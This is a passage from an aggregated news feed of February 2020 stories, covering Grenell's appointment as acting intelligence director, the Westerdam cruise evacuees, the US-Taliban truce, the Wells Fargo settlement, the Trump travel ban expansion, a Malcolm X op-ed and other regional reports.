simply doesn't care, and simply wants a hood ornament loyalist sitting in the chair." The vice chairman of the Senate Intelligence Committee, Democrat Mark Warner, also criticized the selection of Grenell on Twitter. "It appears the President has selected an individual *without any intelligence experience* to serve as the leader of the nation's intelligence community in an acting capacity," Warner wrote, further accusing Trump of engaging in "an effort to sidestep the Senate's constitutional authority to advise & consent on such critical positions." Initially, following Dan Coats' resignation almost eight months ago, Trump announced he would nominate Republican Congressman John Ratcliffe, one of the newer members of the House Intelligence Committee, to serve in a permanent capacity; but, Ratcliffe withdrew from consideration following questions about his credentials and experience. Instead, Trump turned to Joseph Maguire, a former Navy SEAL who had been serving as director of the National Counterterrorism Center. Maguire won praise from lawmakers and former intelligence officials for his stated commitment to avoid politics and "speak truth to power," long seen as a critical function of the U.S. intelligence community. " I think Joseph Maguire did as well as he could, under difficult circumstances, to stave off corruption of the intelligence community's mission," said Paul Pillar, a former senior CIA officer now with Georgetown University. But with Grenell stepping in, Pillar is voicing concern. "Grenell not only has no intelligence experience, which is a negative, but is very much a partisan fighter and ideologue," he said. "Having Grenell as acting DNI promises to politicize the intelligence community more than it has been to date so far under Trump." President Trump has had a rocky relationship with the U.S. intelligence community after it concluded that Russia interfered in the 2016 U.S. presidential election. On several occasions, he publicly clashed with his intelligence chiefs, once lambasting them on Twitter for being "extremely passive and naive." VOA's White House Bureau Chief Steve Herman and White House correspondent Patsy Widakuswara contributed to this report NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address A helicopter prepares to land near the Westerdam cruise ship in Sihanoukville, Cambodia, on Feb. 19, 2020. (Tang Chhin Sothy/AFP via Getty Images) Turkey Blocks Plane Evacuating Cruise Passengers Amid COVID-19 Virus Fears A plane carrying Westerdam cruise evacuees was left stranded at an airport in Karachi, Pakistan, on Feb. 20 after Turkey denied it landing permission due to fears of the novel coronavirus, according to reports. The Turkish airliner chartered to Istanbul by Holland America Linethe owner of the Westerdam cruise ship was forced to turn around mid-flight after Turkey barred the aircraft from landing at its Istanbul airport, reported ABC News. All 268 passengers, including American and Canadian citizens, were left stranded for hours on an airport tarmac in Karachi, a source familiar with the situation told the news outlet. Although the passengers had tested negative for the new coronavirus, also known as COVID-19, the flight was unexpectedly instructed by Turkish officials to turn around midway through its journey, Holland America told ABC News in a statement. Turkish Airlines Flight 3441 reportedly told air traffic control that it needed to land as it had a technical issue while in the skies over Iran. It then made an unscheduled landing at Karachi International Airport at roughly 9:50 p.m. local time, a Pakistani civil aviation official said. By 2:09 a.m., local time, the plane took off again to Amsterdam, according to flight data and Holland America. Everyone onboard the plane had been cleared by the Cambodian Ministry of Health with a letter approved by the World Health Organization (WHO) and the U.S. Centers for Disease Control and Preventions Cambodia office. Five countries rejected the Westerdam cruise ship before it was allowed to dock in Cambodia last week. However, an 83-year-old American Westerdam passenger who flew to Malaysia tested positive for the new coronavirus upon her arrival at Kuala Lumpur International Airport on Saturday, Feb. 15. Her diagnosis came after authorities initially cleared all Westerdam cruise ship passengers in Cambodia. She was the first from the ship, which was carrying 1,455 passengers and 802 crew, to test positive. Her husband, 85, who is also a U.S. citizen, tested negative despite showing symptoms of the virus. The woman is in stable condition and is in isolation at Sungai Buloh Hospital while her husband is still receiving treatment and is being monitored, Malaysias health ministry said. All passengers remaining in Cambodia tested negative for the virus, the countrys Ministry of Health said Wednesday. The Westerdam departed Hong Kong on a two-week cruise to Yokohama, Japan. Holland America said passengers on the Westerdam would be offered a full refund and that flights back home will also be covered by the firm. Worries about the new virus have mounted because of fears that with no natural immunity among the worlds population, it could spread to infect millions if unchecked. CDC and WHO websites give an estimated incubation period for the virus of up to 14 days. However, the initial results from Feb. 9 study by Chinese doctors found that the incubation for the disease could be as long as 24 days. The results have yet to be corroborated. Singapore still has some financial buffer to support the economy if any more measures are needed to help businesses and households tide through the current coronavirus outbreak, one minister told CNBC on Friday. "What we've done is to prepare on the basis that it may go on for some months, and to make sure that we can stabilize and support businesses as well as our households during that period," said Indranee Rajah, a minister in the prime minister's office, who is also Singapore's second minister for finance and education. "And we do still have some buffer in case any additional measures are needed," she told CNBC's "Squawk Box Asia." The Singapore government has set aside 5.6 billion Singapore dollars ($4.02 billion) in its latest budget to help businesses, workers and households weather the economic hit from the spread of the new coronavirus, called COVID-19. That planned spending is expected to contribute to a budget deficit of 10.95 billion Singapore dollars which some economists said is a record. That amount is about 2.1% of the country's gross domestic product. The US and the Taliban are set to sign a historic agreement that would pave the way to ending America's longest war, the bitter foes announced Friday, hours after Kabul said a week-long partial truce across Afghanistan would kick off this weekend. If that so-called "reduction in violence" holds, it would mark a major turning point in the gruelling conflict and set the conditions for a deal that could, ultimately, pull US troops out after more than 18 years and launch Afghanistan into an uncertain future. Both US Secretary of State Mike Pompeo and the Taliban issued statements saying they had agreed to sign the accord on February 29 in Doha, following the one-week partial truce. "Upon a successful implementation of this understanding, signing of the US-Taliban agreement is expected to move forward," Pompeo said, adding that negotiations between the Taliban and the Afghan government would "start soon thereafter". Afghanistan's National Security Council spokesman Javed Faisal and Taliban sources earlier said the "reduction in violence" between US, Taliban and Afghan security forces would begin Saturday. The United States has been in talks with the Taliban for more than a year to secure a deal in which it would pull out thousands of troops in return for Taliban security guarantees and a promise to hold peace talks with the government in Kabul. A reduction in violence would show the Taliban can control their forces and demonstrate good faith ahead of any signing, which would see the Pentagon withdraw about half of the 12,000-13,000 troops currently in Afghanistan. Afghan President Ashraf Ghani said the partial truce would start at midnight Friday-Saturday. "Our next steps on the peace process will depend on the evaluation of the week of the reduction in violence," Ghani, who this week secured a second term in office, said in a televised address. "The Afghan security forces will remain on active defence status during the week". In a statement, the Taliban said warring parties would "create a suitable security situation" ahead of a deal signing. The Taliban's political spokesman, Suhail Shaheen, separately tweeted that the agreement would see "all" foreign forces leave Afghanistan. But a senior US administration official stressed that any withdrawal would be "conditions based." And for now at least, the Pentagon wants to leave troops in Afghanistan on a counter-terrorism mission to fight jihadists such as the Islamic State group. The reduction of US forces "is very much tied to delivery on the commitments that (the Taliban) have made," the US official told reporters. One Taliban source in Pakistan said that if an agreement was signed February 29, talks between the Taliban and the Afghan government, needed to cement a broader peace deal, would be slated to start on March 10. The international community hailed the announcement, with NATO saying the deal could make way for "sustainable peace" in Afghanistan, while Russia labelled it an "important event" for the ending the war. Pakistan, which helped facilitate the talks between the US and the militants, also welcomed the In southern Kandahar province, which is seen as the Taliban's heartland, one insurgent told AFP he had received orders to stand down. But another Taliban commander based in Kandahar, Hafiz Saeed Hedayat, said he had only been ordered to refrain from attacking major cities and highways. "This means maybe the violence will continue in the districts," Hedayat said. Taliban expert Rahimullah Yusufzai said the move signalled a wider change in thinking for both the Taliban and the US after years of fighting. "Both sides have shown their commitment to sign the peace deal, and it's a big development," he said. The US and the Taliban have been tantalisingly close to a deal before, only to see President Donald Trump nix it at the eleventh hour in September. Any truce comes fraught with danger, and the attempt to stem Afghanistan's bloodshed is laced with complications. Warring parties could also exploit a lull to reconfigure their forces and secure a battlefield advantage. The reduction in violence is "still just the first step", Andrew Watkins, a senior analyst with the International Crisis Group, told AFP. "Those talks will be a tough road of their own, but are the best avenue to peaceful settlement to Afghanistan's conflict." On Thursday, the deputy leader of the Taliban said the insurgents are "fully committed" to a deal with Washington. "That we stuck with such turbulent talks with the enemy we have fought bitterly for two decades, even as death rained from the sky, testifies to our commitment to ending the hostilities," Sirajuddin Haqqani wrote in an opinion piece in the New York Times. Haqqani is also head of the Haqqani network, a US-designated terror group that is one of the most dangerous factions fighting Afghan and US-led NATO forces in Afghanistan. Since the US-led invasion of Afghanistan after the September 11, 2001 attacks, America has spent more than $1 trillion in fighting and rebuilding in Afghanistan. About 2,400 US soldiers have been killed, along with unknown tens of thousands of Afghan troops, Taliban fighters and Afghan civilians. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Wells Fargo agreed Friday to pay $3 billion to settle criminal and civil investigations into a long-running practice whereby company employees opened millions of unauthorized bank accounts in order to meet unrealistic sales goals. Since the fake accounts scandal came to light in 2016, Wells has paid out billions in fines to state and federal regulators, reshuffled its board of directors and seen two CEOs and other top-level executives leave the company. The $3 billion payment includes a $500 million civil payment to the Securities and Exchange Commission, which will distribute those funds to investors who were impacted by Wells' behavior. Wells Fargo, the fourth largest bank in the US by assets, agreed Friday to pay $3 billion to settle criminal and civil investigations into a long-running practice whereby company employees opened millions of unauthorized bank accounts in order to meet unrealistic sales goals Since the fake accounts scandal came to light in 2016, Wells has paid out billions in fines to state and federal regulators 'Wells Fargo traded its hard-earned reputation for short-term profits,' said U.S. Attorney Nick Hanna for the Central District of California. Before the scandal broke, Wells Fargo was considered to have a sterling reputation among the big banks. The bank referred to its branches as 'stores,' and once had a policy of trying to get each Wells Fargo customer to have eight financial products with the company. Wells' sales policies, pushed by top management, were aggressive and unrealistic. Bank employees were berated for not making bloated sales quotas, which ultimately resulted in many employees gaming Wells Fargo's sales system in order to meet these artificial sales goals. For example a number of Wells Fargo customers, notably the elderly, were signed up for online banking when they did not have Internet access. The documents that lay out the charges against Wells Fargo lean heavily on the behavior of 'Executive A,' described as the head of Wells' community bank business and the regional bank division from 2002 until 2017. Carrie Tolstedt held those positions during that time period. A number of Wells Fargo customers, notably the elderly, were signed up for online banking when they did not have Internet access Tolstedt was aware of employees using fraudulent means to achieve sales goals as early as 2005, according to the DOJ. 'I just want (Executive A) to be constantly aware of this growing plague,' one Wells Fargo executive wrote in an email. The settlement with the Department of Justice covers Wells Fargo as a company, and the DOJ could still go after individuals for violating bank laws. The Office of the Comptroller of the Currency, one of the nation's bank regulators, fined several of Wells' former top executives earlier this year for their role in the scandal. Former chief executive John G. Stumpf was fined $17.5million and agreed to a lifetime ban from the banking industry. The OCC sued Tolstedt for $25million for her role in the scandal, a suit that Tolstedt's lawyers say they intend to fight. Current Wells Fargo CEO Charlie Scharf, who started the job only a few months ago, has staked his early reputation on resolving all of the bank's legal questions. He has been blunt in saying that what the bank did under previous management was unacceptable. 'The conduct at the core of todays settlements - and the past culture that gave rise to it - are reprehensible and wholly inconsistent with the values on which Wells Fargo was built,' Scharf in a statement. 21.02.2020 LISTEN Vanessa Harrison's VanVosh showcases on the most elaborate platform in the U.S fashion season, New York Fashion Week 2020. The showcase was part of the Emerge Runway Show and Wearable Art Collective a feature of the annual fashion week. The Emerge Runway Show and Wearable Art Collective also saw an honorary award presented to the creator of the New York Fashion Week, FERN MALLIS. VanVorsh, a well know fashion brand famous for its designs, blend of afro eccentric kaleidoscope and eclectic forms of Avant Garde. Utilizing origami construction in African fabrics such as Ghana's famous GTP and Vlisco with a fusion of European influence brings about the intricateness of dramatic fashion. This is evident in the true recognition of targeted sales globally to achieve consumer success in this rag trade. I have grown and envisioned to aspire to the top. Our pacesetters; Mathew Luther, Kwame Nkrumah, Bob Marley, Afua, Sutherland and many more have I sourced my inspiration from, not in one mind but to demonstrate and achieve on their political and human relations.. ~Vanessa Harrision~ The brand debuted on the platform of the Emerge Runway Show and Wearable Art Collective of the New York Fashion Week 2020. The collection themed EXODUS: THE MASTERPIECE saw carefully tailored garments coupled with amazing designs which were the highlights of the show. Vanessa Harrison, the creative director of VanVorsh seeks to contribute her quota to the growth and contribution of fair trade, promoting economic success for the under privileged. In this quest she hopes to inspire African designers to never give up and elevate, for it's never too late. Vanessa Harrison (designer @Vanvorsh). CARROLLTON The leaders of Greene Countys law enforcement agencies unanimously have thrown their support behind Matt Goetten for circuit judge. A letter signed by Greene County Sheriff Rob McMillen, White Hall Police Chief Luke Coultas, Greenfield Police Chief John Goode, Carrollton Police Chief Terry Gross and Roodhouse Police Chief Kyle Robison said they weighed all of the candidates strengths and weaknesses before issuing the endorsement for Goetten. He is a successful and skillful attorney and prosecutor and that experience and knowledge has prepared him to be a fair but effective judge, the endorsement said. They said he has the work ethic needed to be a judge and has a thorough knowledge of the law and how to fairly and justly apply it. He has a profound knowledge of what justice is and how to administer it fairly and with integrity, they wrote. This experience and his long-tested abilities is what makes him the clear choice to be our judge. Goetten is a special prosecutor and longtime states attorney. He was elected Greene County states attorney in 2004 and was in that role for eight years. After a narrow defeat in a 2012 run for Congress, Goetten became a special prosecutor for the Illinois Appellate Prosecutors Office. He will face Elliott L. Turpin, a former Greene County states attorney now in private practice in Carrollton, on the Democratic ballot in the March 17 primary. Attorney John Wayne Guntren and attorney Zachary A. Schmidt will be on the Republican ballot for the position. The candidates are vying to fill a vacancy that will be left Dec. 6 with the retirement of Circuit Judge James W. Day, who is not seeking retention when his term ends. Day is marking 30 years on the bench. A girl with Down syndrome who doctors wanted to be committed to an institution has thrived to become a top model. Kennedy Garcias mother Renee was distraught when doctors told her the newborn wouldnt have any quality of life, would still be in nappies into adulthood and would be better off in a specialist institution. One medic even suggested she just give her up for adoption. Renee, from Colorado Springs in Colorado, kicked them all out of her hospital room and refused to give up on her child. And 15 years later Kennedy has defied their gloomy predictions in spectacular style. The youngster recently attended homecoming prom with her devoted boyfriend Matthew, has competed in state-wide dance competitions and models for top brands across the US. Renee, 40, says, The night Kennedy arrived, I was heartbroken to learn she had the condition because I was being fed nothing but a negative, bleak picture painted by doctors and nurses who really had no idea what my childs future really held. It was only the next night when a kind midwife told me Kennedy was beautiful and just like her daughter, who also had the condition, that I felt a glimmer of hope. The first thing I asked was if her daughter could walk, because I really didnt know what having the condition meant, and she just laughed. Her daughter was 16 and of course she could walk. As the mum-of-four listened to the nurses stories about her daughter, she realized the girl sounded much like other teenagers Renee knew. It gave me hope for the future, Renee recalls. Now, Kennedy is like most girls her age. She has a posse of friends who adore her, she loves to dance, sing and experiment with her hair and makeup. She goes to the cinema with her brother and their friends and sometimes breaks the rules. She has brought so much joy and laughter into our lives and has grown into a gorgeous, funny young woman with the world at her feet. Kennedy, who has modeled for American Girl, Justice Clothing and recently appeared on a nation-wide US census television advert first began dancing aged five. She was only able to do so after dangerous surgery to stabilize her neck and spine was a success. Shed just recovered from leukaemia when we learnt the top of Kennedys cervical spine was separating from the base of her skull. It was a miracle she hadnt been paralyzed already, Renee added. Follow Us on Facebook @LadunLiadi; Instagram @LadunLiadi; Twitter @LadunLiadi; Youtube @LadunLiadiTV for updates WITTENBERG, Wis., Feb. 21, 2020 /PRNewswire/ -- Nueske's Applewood Smoked Meats, a Wisconsin smokehouse, was awarded the 2019 Wisconsin Manufacturer of The Year award last night. Now in their 32nd year, the awards are organized by Wisconsin Manufacturers & Commerce, Baker Tilly, and the law firm of Michael Best & Friedrich LLP. Nueske's Applewood Smoked Meats was honored as the winner of the Grand Award in the large company category. Members of the Nueske family and of Nueske's Executive Team were on hand to accept the award, which was presented at The Pfister Hotel in Milwaukee, Wisconsin. Members of the Nueske family and the Nueske's Executive Team accepting the company's 2019 Wisconsin Manufacturer of The Year Award. Upon receipt of the award, Tanya Nueske, Chief Executive Officer for the company and 3rd generation Nueske family member, commented, "I'm grateful to have Nueske's Applewood Smoked Meats earn an honor of this magnitude. Our community and home state are incredibly important to us. The Nueske's team and my family look forward to continuing our Wisconsin legacy of creating top-quality, authentic smoked meats for chefs and consumers to enjoy. This award shows us that an artisanal approach to crafting traditional foods is appreciated and that Wisconsin loves us as much as we love Wisconsin." Nueske's Applewood Smoked Meats, a third-generation family-owned and -operated smokehouse located in Wittenberg, Wisconsin, is best known for their rich, flavorful Applewood Smoked Bacon and also creates a variety of smoked hams, poultry, sausages, and other fine smoked meats. The company has been in business since 1933 and remains family-owned and operated, continuing to grow their product offerings and size of operations to meet consumer demand for high-quality specialty bacon and smoked meats. For more information, please contact Megan Dorsch, Marketing Manager at Nueske's Applewood Smoked Meats, at (715) 253-4006 or [email protected] Related Images nueskes-team-accepts-award.jpg Nueske's Team Accepts Award Members of the Nueske family and the Nueske's Executive Team accepting the company's 2019 Wisconsin Manufacturer of The Year Award. nueskes-applewood-smoked-meats.jpg Nueske's Applewood Smoked Meats Award Nueske's awarded 2019 Wisconsin Manufacturer of The Year Grand Award, Large Company Category. Related Links Nueske's Direct Response Website Nueske's Wholesale Foodservice Website SOURCE Nueske's Applewood Smoked Meats Related Links https://www.nueskes.com/ Russian President Vladimir Putin offered his Belarusian counterpart Alexander Lukashenko to compensate Minsk for budget losses arising from changes to Russian oil taxation. That was said by the Belarusian leader today at the meeting with Governor of Russia's Arkhangelsk Oblast Igor Orlov. The compensation could amount to $300 million, Lukashenko said after a phone call with Putin, adding Moscow was also ready to keep oil supply terms at last years level. He said that the offer was unexpected. Belarusian Prime Minister Sergei Rumas said this month that Belarus lost $330 million in 2019 due to changes in Russian taxation, TASS recalls. Moscow used to send crude oil and oil products to Minsk with no export fee under a duty-free deal between Russia, Belarus and Kazakhstan. However, it amended its tax code on January 1 last year to halt that arrangement. S ince 2017 Donald Trump and his administration have made a series of policies that restrict travel to America. In the latest development, which comes into effect on February 21, the government will stop issuing visas (which offer a path to residency) to counties that have been named on a specially devised list. It will also stop some foreign residents from taking part in a green card lottery. Find out which countries are on the banned list below. Travellers with bags walk toward the passport control line at Newark International Airport / Getty Images What is Trump's travel ban? Mr Trump and his administration created travel restrictions for several countries. Executive Order 13769, January 2017: In the first policy, citizens from Iran, Iraq, Libya, Somalia, Sudan, Syria, and Yemen has stringent restrictions placed on travel to the US. Following legal challenges and protests a second order was made. Executive Order 13780, March 2017: This policy amended certain details from the first order, and Iraq was removed from the list. The ban expired after 90 days. 'Bollard' style fencing on the Us-Mexico border / AFP via Getty Images Presidential Proclamation 9645, September 2017: A third travel ban was than announced and additional restrictions were made for people from Chad, North Korea and Venezuela. Sudan was removed from the list Presidential proclamation 9723, April 2018: Restrictions for citizens from Chad were removed. The travel ban received some controversy as most of the countries on the list had a high Muslim population. In January 2020, the Donald Trump administration said it would be expanding the ban further and six more countries were added to the list. What countries have been added to the list and why? Mr Trump announced on January 31, 2020, that more countries would be included in the ban from February 21. Visas that offer a path to residency will not be issued to nationals from Eritrea, Kyrgyzstan, Nigeria, Sudan, Myanmar and Tanzania. The Trump administration has added to its travel ban list / AFP via Getty Images Mr Trump said immigrants should only be allowed in on merit and not though any form of lottery. The US government will also stop issuing diversity visas - or green card draws to people from Tanzania and Sudan. What is US immigration law? Immigration law is the rules for determining who is allowed to enter the US and for how long. It also sets out the process of naturalisation for those who want to become a permanent citizen. Immigration law is set out by Congress / Getty Images As set out in the US constitution, Congress had the exclusive right to legislate in the area of immigration. Nationals from a selective list of developed countries (which are deemed politically and economically stable by the government) are allowed to visit the US for up to 90 days without obtaining a visa. This visa waiver is mainly used by people going on holiday and does not allow foreign citizens to work, go to school or apply for permanent residency. Fifty-five years after his assassination at the Audubon Ballroom in New York, we still get much wrong about Malcolm X. Every semester in which I teach a course on Muslims in the Civil Rights Movement at Southern Methodist University, I give my students a selection of quotes from both Martin Luther King Jr and Malcolm X and ask them to guess who said what. So for example, I will posit the following two quotes and ask for their proper ascription: Ignorance of each other is what has made unity impossible in the past. Therefore, we need enlightenment. We need more light about each other. Light creates understanding, understanding creates love, love creates patience, and patience creates unity. Once we have more knowledge (light) about each other, we will stop condemning each other and a United front will be brought about. The majority of white Americans consider themselves sincerely committed to justice for the Negro. They believe that American society is essentially hospitable to fair play and to steady growth toward a middle-class Utopia embodying racial harmony. But unfortunately this is a fantasy of self-deception and comfortable vanity. And every single time, they have been unable to identify the first quote as belonging to Malcolm, and the second to Martin. But it is not just a few students that have gotten it wrong. The American education system and most mainstream portrayals of Martin and Malcolm have been simplistic and sanitising. Martin is the perfect hero who preached non-violence and love, and Malcolm the perfect villain who served as his violent counterpart, preaching hate and militancy. The result is not just a dishonest reading of history, but a dichotomy that allows for Dr King to be curated to make us more comfortable, and Malcolm X to be demonised as a demagogue from whom we must all flee. Reducing these men to such simplistic symbols allows us to filter political programmes according to how King-like they are. Hence, illegitimate forms of reconciliation are legitimised through King and legitimate forms of resistance are delegitimised through Malcolm X. Malcolm was never violent, not as a member of the Nation of Islam, nor as a Sunni Muslim. But Malcolm did find it hypocritical to demand that black people in the United States commit to non-violence when they were perpetually on the receiving end of state violence. He believed that black people in the US had a right to defend themselves, and charged that the US was inconsistent in referencing its founding fathers defence of liberty for everyone but them. Malcolm knew that his insistence on this principle would cause him to be demonised even further and ultimately benefit the movement of Dr King, which is exactly what he had intended. Just weeks before his assassination, he went to Selma to support Dr King and willingly embraced his role as the scary alternative. In every interview, in his meeting with Dr Coretta Scott King, and elsewhere, he vocalised that the US would do well to give the good reverend what he was asking for, or else. But he never actually said what the or else was, placing a greater urgency on America to cede to Kings demands. Malcolm had no problem playing the villain, so long as it led to his people no longer being treated like animals. And while King may have been steadfast in his commitment to non-violence, the thrust of Malcolm fully served its purpose. As Colin Morris, the author of Unyoung, Uncolored, Unpoor wrote, I am not denying passive resistance its due place in the freedom struggle, or belittling the contribution to it of men like Gandhi and Martin Luther King. Both have a secure place in history. I merely want to show that however much the disciples of passive resistance detest violence, they are politically impotent without it. American Negroes needed both Martin Luther King and Malcolm X But it was not just that Malcolm and Martin had complementary strategies to achieve black freedom, they also spoke to different realities. Malcolm spoke more to the Northern reality of black Americans who were only superficially integrated, whereas Martin spoke to the Southern reality where even that was not possible. Malcolm also spoke to the internalised racism of black people that was essential to overcome for true liberation. As the late James Cone states, King was a political revolutionary. Malcolm was a cultural revolutionary. Malcolm changed how black people thought about themselves. Before Malcolm came along, we were all Negroes. After Malcolm, he helped us become black. That is why, despite the diminishing of Malcolm in textbooks and holidays, he has been consistently revived through protest movements and the arts. He has lived through the activism of the likes of Muhammad Ali and Colin Kaepernick, inspired the black power movement, and been an icon for American Muslims on how to exist with dignity and faith in a hostile environment. And even in those claims to Malcolm as a symbol, Malcolm himself in the fullness of his identity is erased. In championing his movements philosophy, some seek to secularise him, intentionally erasing his Muslim identity. And in championing his religious identity, others seek to depoliticise him. This was a tension that Malcolm noted in his own life, saying: For the Muslims, Im too worldly. For other groups, Im too religious. For militants, Im too moderate, for moderates Im too militant. I feel like Im on a tightrope. Muslims too should be cautious not to sanitise Malcolm, as the US has sanitised Dr King. To restrict Malcolm solely to his Hajj experience is similar to restricting King solely to his I have a dream speech. Malcolm was a proud Muslim who never stopped being black. And while he no longer subscribed to a condemnation of the entire white race, he was unrelenting in his critique of global white supremacy. Malcolm was consistently growing in a way that allowed him to not only champion his own peoples plight more effectively but to tackle a broader set of interconnected issues. And while history seems to posit Malcolm as his polar opposite, Dr King had begun to articulate many of the same positions that made Malcolm so unpopular. In the words of the great James Baldwin, As concerns Malcolm and Martin, I watched two men, coming from unimaginably different backgrounds, whose positions, originally, were poles apart, driven closer and closer together. By the time each died, their positions had become virtually the same position. It can be said, indeed, that Martin picked up Malcolms burden, articulated the vision which Malcolm had begun to see, and for which he paid with his life. And that Malcolm was one of the people Martin saw on the mountaintop. Perhaps it is time we ask why we only seem to celebrate one of them. The views expressed in this article are the authors own and do not necessarily reflect Al Jazeeras editorial stance. SALT LAKE CITY - A former Utah teacher pleaded guilty Friday to murder charges in the shooting death of her ex-husbands girlfriend, who was killed in front of the former couples 3-year-old twins. Chelsea Watrous Cook slipped inside her ex-husbands apartment and killed Lisa Vilate Williams while she and the children decorated a Christmas tree in 2018, prosecutors said. Cook had drawn her ex outside his apartment with a message about dropping off cold medicine for the children, then ducked inside, authorities said. She refused to leave when he returned, and locked herself in the bathroom as he called 911. Seconds later, she left the bathroom, grabbed a gun from her coat and fired the fatal shots, according to charging documents. Her ex-husband Travis Cook told the children to run into their rooms and lock the doors. He pinned his ex-wife to the wall and waited for police to arrive. In an agreement with prosecutors, she pleaded guilty to aggravated murder, aggravated burglary, three firearm felonies and two misdemeanour counts of committing a violent offence in the presence of a child. Cook initially showed little emotion as she entered her guilty pleas, though she began to cry as she acknowledged the charges involving violence in front of her children, the Salt Lake Tribune reported. The Williams family has said Cook harassed the 26-year-old online and in person for months before the slaying, but Williams didnt report the treatment to police because she worried about the effect it would have on the children. Cook, who was a high school health teacher in Lehi, is expected to be sentenced on May 18. Bengaluru, Feb 21 : President Ram Nath Kovind arrived here on Friday on a two-day visit, an official said. "Governor Vajubhai Vala and Chief Minister B.S. Yediyurappa received Kovind at the HAL airport," the official told IANS. Kovind, who is staying at the Raj Bhavan overnight, will on Saturday will participate in the fourth edition of 'The Huddle', an annual thought conclave, organised by 'The Hindu' newspaper at a hotel here before flying back to Delhi in the afternoon. BAKU, Azerbaijan, Feb. 21 Trend: Over the past 24 hours, Armenian armed forces have violated the ceasefire along the line of contact between Azerbaijani and Armenian troops 29 times, Trend reports referring to Azerbaijani Defense Ministry on Feb. 21. The Armenian armed forces were using sniper rifles. The conflict between the two South Caucasus countries began in 1988 when Armenia made territorial claims against Azerbaijan. As a result of the ensuing war, Armenian armed forces occupied 20 percent of Azerbaijan, including the Nagorno-Karabakh region and seven surrounding districts. The 1994 ceasefire agreement was followed by peace negotiations. Armenia has not yet implemented four UN Security Council resolutions on withdrawal of its armed forces from Nagorno Karabakh and the surrounding districts. Maharashtra Tourism Minister Aaditya Thackeray on Friday said various issues relating to the state figured in the meeting between Chief Minister Uddhav Thackeray and Prime Minister Narendra Modi in New Delhi. In a series of tweets after the meeting, he said the issue of GST compensation to Maharashtra, the Pradhan Mantri Fasal Yojana, the Central road fund, Baliraja Sanjivani Yojana and pending proposals, as well as those related to the PMC bank, were discussed with the prime minister. Aaditya, who holds the state and protocol departments as well, said he discussed environmental issues including electric mobility, renewable energy, solar powering highways and the ban on single use plastic. "I briefed him about urban forests we are creating in Maharashtra," he said. This was CM Thackeray's first visit to Delhi after taking charge in the state. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Internal rift within the Jharkhand unit of Congress party seems to be widening as its executive president Irfan Ansari has threatened to resign from his current post, objecting the inclusion of Jharkhand Vikas Morcha's (JVM) expelled MLA Pradeep Yadav in the party. The state Congress is facing strong non-cooperation within the party after it included two expelled MLAs of JVM -- Pradeep Yadav and Bandhu Tirki. Yadav was expelled from the JVM for his anti-party activities. In New Delhi, Irfan on Friday met Jharkhand Congress in-charge of RPN Singh and is now expected to meet party interim president Sonia Gandhi and Rahul Gandhi. However, Congress spokesperson Alok Dubey has claimed that everything is alright in the party and Ansari had some grievances which he has taken up with the party high command. "Irfan is a complete Congressman. He has some feelings, which he shared with the party high command. He met RPN Singh in Delhi and will meet Sonia Gandhi and Rahul Gandhi. The high command will listen to his concerns" said Dubey. "Sometimes takes such a turn where ideology takes opposite directions. Bandhu and Pradeep Yadav wished to join us. We have a process of joining through which we welcomed them. If it hurts the emotions of any party worker, it will be taken care of," he said. After JVM chief Babulal Marandi joined hands with the BJP, Yadav and Bandhu decided to join the Congress. They joined the Congress party on February 17 in New Delhi. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) VIENTIANE, Feb. 20 (Xinhua) -- China and the Association of Southeast Asian Nations (ASEAN) vowed here Thursday to strengthen cooperation in fighting the novel coronavirus (COVID-19) outbreak by sharing information and best practice in time and reduce impact of the epidemic on socio-economic development of affected countries. The two sides made the commitment in a statement issued after the Special ASEAN-China Foreign Ministers' Meeting on Coronavirus Disease held here on Thursday. The ministers emphasized in the statement the growing urgency and need for cooperation in COVID-19 surveillance, prevention, detection and control, given the fact that ASEAN and China have close links and are each other's major tourist destinations with an annual travel flow of over 65 million visits, and China being the largest trading partner of ASEAN while ASEAN is the second largest trading partner of China. The ministers recognized ASEAN and China's decisive measures to address COVID-19 through prompt sharing of information and other significant efforts to contain the epidemic and to protect regional and global public health security, according to the statement. They expressed full confidence in China's abilities to succeed in overcoming the epidemic and commended all frontline fighters against the disease, as China appreciated the sympathy support and assistance offered by ASEAN member states to its response efforts. The ministers agreed to step up the regional cooperation against COVID-19 by sharing information and best practices in a timely manner, including exchanging available epidemiological information, technical guidelines and solutions for epidemic prevention and control, diagnosis, treatment and surveillance, said the statement. They also agree to strengthen cooperation in risk communication and community engagement readiness and response to ensure that people are rightly and thoroughly informed on COVID-19 and are not being misled by misinformation and fake news. The ministers promised to strengthen policy dialogue and exchanges on the latest development of the COVID-19, including its control and treatment, and its related study and research through existing mechanisms such as the ASEAN-China Health Ministers' Meeting and the ASEAN-China Senior Officials' Meeting on Health Development, according to the statement. In a long run, the ministers agreed to enhance capacity to prevent and control emerging and re-emerging infectious and communicable diseases, and engage in exchanges of relevant data and technology and personal training. On the economic front, the statement said that support will be given to enterprises affected by the epidemic, especially micro, small and medium-sized enterprises (MSMEs), including through promotion of digital economy to facilitate economic activity during epidemics and make full use of the ASEAN-China Year of Digital Economy Cooperation. In addition, the ministers committed to reducing the impact of the epidemic on the economic and social development of all affected countries, jointly maintaining people-to-people exchanges, trade and investment activities in the region. The special meeting was co-chaired by Chinese State Councilor and Foreign Minister Wang Yi, and Philippine Foreign Secretary Teodoro Locsin. ASEAN Secretary-General Lim Jock Hoi also attended the meeting Founded in 1967, ASEAN currently groups Brunei, Cambodia, Indonesia, Laos, Malaysia, Myanmar, the Philippines, Singapore, Thailand and Vietnam. A truce promising a significant reduction in violence across Afghanistan has been overshadowed by a dispute over the countrys presidential election. As the weeklong reduction in violence begins early on February 22, there are no signs that Afghan Chief Executive Officer Abdullah Abdullah is backing down from challenging incumbent President Ashraf Ghanis win in the presidential polls held last September. Abdullah declared victory after the Afghan election commission named Ghani the winner on February 18. This dispute and numerous other disagreements among the Afghan political elites loom large over a phased peace process that is ultimately aimed at uniting Afghan under a stable political system to put an end to more than four decades of war that began after communist military coup in 1978. While Washington and the Taliban seem to have found some common ground after 18 years of fighting, the Afghan elites appear bitterly divided. Once again, their disagreements overshadow what some view as an opportunity for achieving lasting peace through a negotiated settlement. The only way to achieve a sustainable peace in Afghanistan is for Afghans to come together and agree on the way forward, U.S. Secretary of State Mike Pompeo said on February 21. This is an important step on a long road to peace, and I call on all Afghans to seize this opportunity, he tweeted after the Taliban and the United States announced their understanding for a significant weeklong reduction in violence across Afghanistan. Washington is preparing to sign an initial peace deal 